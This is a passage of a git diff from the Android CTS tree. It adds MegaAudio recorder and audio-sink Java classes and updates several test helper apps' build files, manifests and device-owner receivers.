+    @Override
+    public void handleMessage (Message msg) {
+        switch (msg.what) {
+            case MSG_START:
+                if (mSink != null) {
+                    mSink.start();
+                }
+                break;
+
+            case MSG_BUFFER_FILL:
+                if (mSink != null) {
+                    mSink.push(mRecorder.getDataBuffer(),
+                            mRecorder.getNumBufferFrames(), mRecorder.getChannelCount());
+                }
+                break;
+
+            case MSG_STOP:
+                if (mSink != null) {
+                    // arg1 has the number of samples from the last read.
+                    mSink.stop(msg.arg1);
+                }
+                break;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
new file mode 100644
index 0000000..ded8ca2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/NativeAudioSink.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class NativeAudioSink extends AudioSink {
+    private long mNativeSinkPtr;
+
+    public NativeAudioSink(long nativeSinkPtr) {
+        mNativeSinkPtr = nativeSinkPtr;
+    }
+
+    // Use this to call the AudioSource methods in C++ directly
+    public long getNativeObject() { return mNativeSinkPtr; }
+
+    @Override
+    public void init(int numFrames, int numChans) {
+        initN(mNativeSinkPtr, numFrames, numChans);
+    }
+
+    @Override
+    public void start() {
+        startN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void stop(int lastBufferFrames) {
+        stopN(mNativeSinkPtr);
+    }
+
+    @Override
+    public void push(float[] audioData, int numFrames, int numChans) {
+        pushN(mNativeSinkPtr, audioData, numFrames, numChans);
+    }
+
+    private native void initN(long nativeSinkPtr, int numFrames, int numChans);
+    private native void startN(long nativeSinkPtr);
+    private native void stopN(long nativeSinkPtr);
+    private native void pushN(long nativeSinkPtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
new file mode 100644
index 0000000..bb8e05d
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/OboeRecorder.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+public class OboeRecorder extends Recorder {
+    private int mRecorderSubtype;
+    private long mNativeRecorder;
+
+    public OboeRecorder(AudioSinkProvider sinkProvider, int subType) {
+        super(sinkProvider);
+
+        mRecorderSubtype = subType;
+        mNativeRecorder = allocNativeRecorder(sinkProvider.allocNativeSink().getNativeObject(), mRecorderSubtype);
+    }
+
+    //
+    // Attributes
+    //
+    @Override
+    public int getNumBufferFrames() {
+        return getNumBufferFramesN(mNativeRecorder);
+    }
+
+    @Override
+    public void setInputPreset(int preset) {
+        setInputPresetN(mNativeRecorder, preset);
+    }
+
+    @Override
+    public int getRoutedDeviceId() { return getRoutedDeviceIdN(mNativeRecorder); }
+
+    //
+    // State
+    //
+    @Override
+    public boolean isRecording() {
+        return isRecordingN(mNativeRecorder);
+    }
+
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        return setupStreamN(mNativeRecorder, channelCount, sampleRate,
+                mRouteDevice == null ? -1 : mRouteDevice.getId());
+    }
+
+    @Override
+    public int teardownStream() {
+        int errCode = teardownStreamN(mNativeRecorder);
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        return errCode;
+    }
+
+    @Override
+    public int startStream() {
+        return startStreamN(mNativeRecorder, mRecorderSubtype);
+    }
+
+    @Override
+    public int stopStream() {
+        return stopN(mNativeRecorder);
+    }
+
+    private native long allocNativeRecorder(long nativeSink, int recorderSubtype);
+
+    private native boolean isRecordingN(long nativeRecorder);
+
+    private native int getBufferFrameCountN(long nativeRecorder);
+    private native void setInputPresetN(long nativeRecorder, int inputPreset);
+
+    private native int getRoutedDeviceIdN(long nativeRecorder);
+
+    private native int setupStreamN(long nativeRecorder, int channelCount, int sampleRate, int routeDeviceId);
+    private native int teardownStreamN(long nativeRecorder);
+
+    private native int startStreamN(long nativeRecorder, int recorderSubtype);
+
+    private native int stopN(long nativeRecorder);
+
+    private native int getNumBufferFramesN(long nativeRecorder);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
new file mode 100644
index 0000000..004ef1b
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/Recorder.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+public abstract class Recorder extends StreamBase {
+    protected AudioSinkProvider mSinkProvider;
+
+    // This value is to indicate that no explicit call to set an input preset in the builder
+    // will be made.
+    // Constants can be found here:
+    // https://developer.android.com/reference/android/media/MediaRecorder.AudioSource
+    public static final int INPUT_PRESET_NONE = -1;
+
+    public Recorder(AudioSinkProvider sinkProvider) {
+        mSinkProvider = sinkProvider;
+    }
+    public abstract void setInputPreset(int preset);
+
+    /*
+     * State
+     */
+    public abstract boolean isRecording();
+
+    /*
+     * Utilities
+     */
+    public static final int AUDIO_CHANNEL_COUNT_MAX = 30;
+
+    public static final int AUDIO_CHANNEL_REPRESENTATION_POSITION   = 0x0;
+    public static final int AUDIO_CHANNEL_REPRESENTATION_INDEX      = 0x2;
+
+    //
+    // Attributes
+    //
+    // This needs to be static because it is called before creating the Recorder subclass
+    public static int calcMinBufferFrames(int channelCount, int sampleRate) {
+        int channelMask = Recorder.channelCountToChannelMask(channelCount);
+        int bufferSizeInBytes =
+                AudioRecord.getMinBufferSize (sampleRate,
+                        channelMask,
+                        AudioFormat.ENCODING_PCM_FLOAT);
+        return bufferSizeInBytes / sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    /*
+     * Channel Utils
+     */
+    // TODO - Consider moving these into a "Utilities" library
+//    /**
+//     * @param chanCount The number of channels for which to generate an index mask.
+//     * @return  A channel index mask corresponding to the supplied channel count.
+//     *
+//     * @note The generated index mask has active channels from 0 to chanCount - 1
+//     */
+//    public static int countToIndexMask(int chanCount) {
+//        return  (1 << chanCount) - 1;
+//    }
+
+    /* Not part of public API */
+    private static int audioChannelMaskFromRepresentationAndBits(int representation, int bits)
+    {
+        return ((representation << AUDIO_CHANNEL_COUNT_MAX) | bits);
+    }
+
+    /* Derive a channel mask for index assignment from a channel count.
+     * Returns the matching channel mask,
+     * or AUDIO_CHANNEL_NONE if the channel count is zero,
+     * or AUDIO_CHANNEL_INVALID if the channel count exceeds AUDIO_CHANNEL_COUNT_MAX.
+     */
+    private static int audioChannelMaskForIndexAssignmentFromCount(int channel_count)
+    {
+        if (channel_count == 0) {
+            return 0; // AUDIO_CHANNEL_NONE
+        }
+        if (channel_count > AUDIO_CHANNEL_COUNT_MAX) {
+            return AudioFormat.CHANNEL_INVALID;
+        }
+        int bits = (1 << channel_count) - 1;
+        return audioChannelMaskFromRepresentationAndBits(AUDIO_CHANNEL_REPRESENTATION_INDEX, bits);
+    }
+
+    /**
+     * @param channelCount  The number of channels for which to generate an input position mask.
+     * @return An input channel-position mask corresponding the supplied number of channels.
+     */
+    public static int channelCountToChannelMask(int channelCount) {
+        int bits;
+        switch (channelCount) {
+            case 1:
+                bits = AudioFormat.CHANNEL_IN_MONO;
+                break;
+
+            case 2:
+                bits = AudioFormat.CHANNEL_IN_STEREO;
+                break;
+
+            case 3:
+            case 4:
+            case 5:
+            case 6:
+            case 7:
+            case 8:
+                // FIXME FCC_8
+                return audioChannelMaskForIndexAssignmentFromCount(channelCount);
+
+            default:
+                return AudioFormat.CHANNEL_INVALID;
+        }
+
+        return audioChannelMaskFromRepresentationAndBits(AUDIO_CHANNEL_REPRESENTATION_POSITION, bits);
+    }
+
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
new file mode 100644
index 0000000..737dfb8
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/RecorderBuilder.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder;
+
+import android.media.AudioDeviceInfo;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+
+public class RecorderBuilder extends BuilderBase {
+
+    private AudioSinkProvider mSinkProvider;
+
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+    public RecorderBuilder() {
+
+    }
+
+    public RecorderBuilder setRecorderType(int type) {
+        mType = type;
+        return this;
+    }
+
+    public RecorderBuilder setAudioSinkProvider(AudioSinkProvider sinkProvider) {
+        mSinkProvider = sinkProvider;
+        return this;
+    }
+
+    public RecorderBuilder setInputPreset(int inputPreset) {
+        mInputPreset = inputPreset;
+        return this;
+    }
+
+    public Recorder build() throws BadStateException {
+        if (mSinkProvider == null) {
+            throw new BadStateException();
+        }
+
+        Recorder recorder = null;
+        int playerType = mType & TYPE_MASK;
+        switch (playerType) {
+            case TYPE_NONE:
+                // NOP
+                break;
+
+            case TYPE_JAVA:
+                recorder = new JavaRecorder(mSinkProvider);
+                break;
+
+            case TYPE_OBOE:{
+                int recorderSubType = mType & SUB_TYPE_MASK;
+                recorder = new OboeRecorder(mSinkProvider, recorderSubType);
+            }
+            break;
+
+            default:
+                throw new BadStateException();
+        }
+
+        return recorder;
+    }
+
+    public class BadStateException extends Throwable {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java
new file mode 100644
index 0000000..3c7e7be
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallback.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+public interface AppCallback {
+    void onDataReady(float[] audioData, int numFrames);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
new file mode 100644
index 0000000..2d9d17e
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSink.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+
+public class AppCallbackAudioSink extends AudioSink {
+    private static final String TAG = AppCallbackAudioSink.class.getSimpleName();
+
+    private AppCallback mCallback;
+
+    public AppCallbackAudioSink(AppCallback callback) {
+        mCallback = callback;
+    }
+
+    @Override
+    public void push(float[] audioData, int numFrames, int numChans) {
+        mCallback.onDataReady(audioData, numFrames);
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
new file mode 100644
index 0000000..9d275c8
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/AppCallbackAudioSinkProvider.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
+
+public class AppCallbackAudioSinkProvider implements AudioSinkProvider {
+    private AppCallback mCallbackObj;
+    private long mOboeSinkObj;
+
+    public AppCallbackAudioSinkProvider(AppCallback callback) {
+        mCallbackObj = callback;
+    }
+
+    public AudioSink allocJavaSink() {
+        return new AppCallbackAudioSink(mCallbackObj);
+        // return allocNativeSink();
+    }
+
+    @Override
+    public NativeAudioSink allocNativeSink() {
+        return new NativeAudioSink(mOboeSinkObj = allocOboeSinkN(mCallbackObj));
+    }
+
+    private native long allocOboeSinkN(AppCallback callbackObj);
+
+    public void releaseJNIResources() {
+        releaseJNIResourcesN(mOboeSinkObj);
+    }
+
+    private native void releaseJNIResourcesN(long oboeSink);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
new file mode 100644
index 0000000..7a29e33
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSink.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+
+public class NopAudioSink extends AudioSink {
+    @Override
+    public void push(float[] audioData, int numFrames, int numChannels) {
+        // NOP
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
new file mode 100644
index 0000000..efddc88
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/sinks/NopAudioSinkProvider.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.recorder.sinks;
+
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.NativeAudioSink;
+
+public class NopAudioSinkProvider implements AudioSinkProvider {
+    @Override
+    public AudioSink allocJavaSink() {
+        return new NopAudioSink();
+    }
+
+    @Override
+    public NativeAudioSink allocNativeSink() {
+        //||| TODO - implement this
+        return null;
+    }
+}
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
index 0b26c66..045581d 100644
--- a/apps/CtsVerifierInstantApp/Android.bp
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVerifierInstantApp",
     defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifierUSBCompanion/Android.bp b/apps/CtsVerifierUSBCompanion/Android.bp
index bdae8ce..bf7d804 100644
--- a/apps/CtsVerifierUSBCompanion/Android.bp
+++ b/apps/CtsVerifierUSBCompanion/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVerifierUSBCompanion",
     static_libs: [
diff --git a/apps/CtsVerifierUSBCompanion/AndroidManifest.xml b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
index 594f4ee..e6bcb79 100644
--- a/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
+++ b/apps/CtsVerifierUSBCompanion/AndroidManifest.xml
@@ -16,32 +16,35 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.verifierusbcompanion">
+     package="com.android.cts.verifierusbcompanion">
 
-    <uses-sdk android:minSdkVersion="12" android:targetSdkVersion="25" />
+    <uses-sdk android:minSdkVersion="12"
+         android:targetSdkVersion="25"/>
 
-    <uses-feature android:name="android.hardware.usb.accessory" />
-    <uses-feature android:name="android.hardware.usb.host" />
+    <uses-feature android:name="android.hardware.usb.accessory"/>
+    <uses-feature android:name="android.hardware.usb.host"/>
 
     <application android:label="@string/app_name"
-            android:icon="@drawable/icon">
+         android:icon="@drawable/icon">
 
         <activity android:name=".Main"
-                android:screenOrientation="portrait"
-                android:configChanges="orientation|keyboardHidden">
+             android:screenOrientation="portrait"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".AccessoryAttachmentHandler">
+        <activity android:name=".AccessoryAttachmentHandler"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
+                <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"/>
             </intent-filter>
 
             <meta-data android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED"
-                    android:resource="@xml/accessory_filter" />
+                 android:resource="@xml/accessory_filter"/>
         </activity>
     </application>
 </manifest>
diff --git a/apps/EmptyDeviceAdmin/Android.bp b/apps/EmptyDeviceAdmin/Android.bp
index ed81a61..35d2343 100644
--- a/apps/EmptyDeviceAdmin/Android.bp
+++ b/apps/EmptyDeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEmptyDeviceAdmin",
     defaults: ["cts_defaults"],
diff --git a/apps/EmptyDeviceAdmin/AndroidManifest.xml b/apps/EmptyDeviceAdmin/AndroidManifest.xml
index 2ee9422..3683f9e 100644
--- a/apps/EmptyDeviceAdmin/AndroidManifest.xml
+++ b/apps/EmptyDeviceAdmin/AndroidManifest.xml
@@ -15,19 +15,18 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.emptydeviceadmin" >
+     package="com.android.cts.emptydeviceadmin">
 
     <uses-sdk android:minSdkVersion="12"/>
 
     <application android:label="Test Device Admin">
-        <receiver
-            android:name=".EmptyDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+        <receiver android:name=".EmptyDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
diff --git a/apps/EmptyDeviceOwner/Android.bp b/apps/EmptyDeviceOwner/Android.bp
index e811db0..2809dfe 100644
--- a/apps/EmptyDeviceOwner/Android.bp
+++ b/apps/EmptyDeviceOwner/Android.bp
@@ -12,16 +12,13 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEmptyDeviceOwner",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
+    static_libs: ["compatibility-device-util-axt"],
     resource_dirs: ["res"],
-    sdk_version: "current",
+    sdk_version: "test_current",
     min_sdk_version: "12",
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/apps/EmptyDeviceOwner/AndroidManifest.xml b/apps/EmptyDeviceOwner/AndroidManifest.xml
index d6a97eb..a231992 100644
--- a/apps/EmptyDeviceOwner/AndroidManifest.xml
+++ b/apps/EmptyDeviceOwner/AndroidManifest.xml
@@ -15,27 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.emptydeviceowner" >
+     package="com.android.cts.emptydeviceowner">
 
     <uses-sdk android:minSdkVersion="12"/>
 
-    <application android:label="Test Device Owner" android:testOnly="true">
-        <receiver
-            android:name=".EmptyDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+    <application android:label="Test Device Owner"
+         android:testOnly="true">
+        <receiver android:name=".EmptyDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name=".DeviceOwnerChangedReceiver">
+        <receiver android:name=".DeviceOwnerChangedReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_OWNER_CHANGED"/>
             </intent-filter>
         </receiver>
 
+        <!-- TODO(b/179100903): temporarily receiver until DPMS automatically transfers PO on
+              headless system user mode -->
+        <receiver android:name=".ProfileOwnerChangedReceiver" android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.action.PROFILE_OWNER_CHANGED"/>
+            </intent-filter>
+        </receiver>
     </application>
 </manifest>
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
index 8f0732e..fbd1c86 100644
--- a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
@@ -22,23 +22,29 @@
 import android.content.Intent;
 import android.util.Log;
 
-public class DeviceOwnerChangedReceiver extends DeviceAdminReceiver {
+public final class DeviceOwnerChangedReceiver extends DeviceAdminReceiver {
 
-	@Override
-	public void onReceive(Context context, Intent intent) {
-		Log.d("DeviceOwnerChangedReceiver", "device owner is changed.");
-		if (!DevicePolicyManager.ACTION_DEVICE_OWNER_CHANGED.equals(intent.getAction())) {
-			return;
-		}
-		DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
-		if (!dpm.isDeviceOwnerApp(context.getPackageName())) {
-			return;
-		}
-		Log.d("DeviceOwnerChangedReceiver", "transferring ownership to CtsVerifier");
-		dpm.transferOwnership(
-			EmptyDeviceAdmin.getComponentName(context),
-			new ComponentName("com.android.cts.verifier",
-				"com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver"),
-			null);
-	}
+    private static final String TAG = DeviceOwnerChangedReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(user " + context.getUserId() + "): action=" + action);
+        if (!DevicePolicyManager.ACTION_DEVICE_OWNER_CHANGED.equals(action)) {
+            Log.e(TAG, "Received invalid intent: " + intent);
+            return;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (!dpm.isDeviceOwnerApp(packageName)) {
+            Log.w(TAG, packageName + " is not the device owner");
+            return;
+        }
+        ComponentName newAdmin = new ComponentName("com.android.cts.verifier",
+        "com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver");
+        Log.d(TAG, "transferring ownership to " + newAdmin);
+        dpm.transferOwnership(EmptyDeviceAdmin.getComponentName(context), newAdmin,
+                /* bundle= */ null);
+        Log.d(TAG, "ownership transferred to " + newAdmin.flattenToShortString());
+    }
 }
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
index 90ee252..815d0b9 100644
--- a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
@@ -16,15 +16,28 @@
 package com.android.cts.emptydeviceowner;
 
 import android.app.admin.DeviceAdminReceiver;
-import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.enterprise.DeviceAdminReceiverUtils;
+
 public class EmptyDeviceAdmin extends DeviceAdminReceiver {
 
-	public static ComponentName getComponentName(Context context) {
-		return new ComponentName(context, EmptyDeviceAdmin.class);
-	}
+    private static final String TAG = EmptyDeviceAdmin.class.getSimpleName();
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, EmptyDeviceAdmin.class);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(): user=" + context.getUserId() + ", action=" + action);
+
+        if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+
+        super.onReceive(context, intent);
+    }
 }
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java
new file mode 100644
index 0000000..553cbc1
--- /dev/null
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
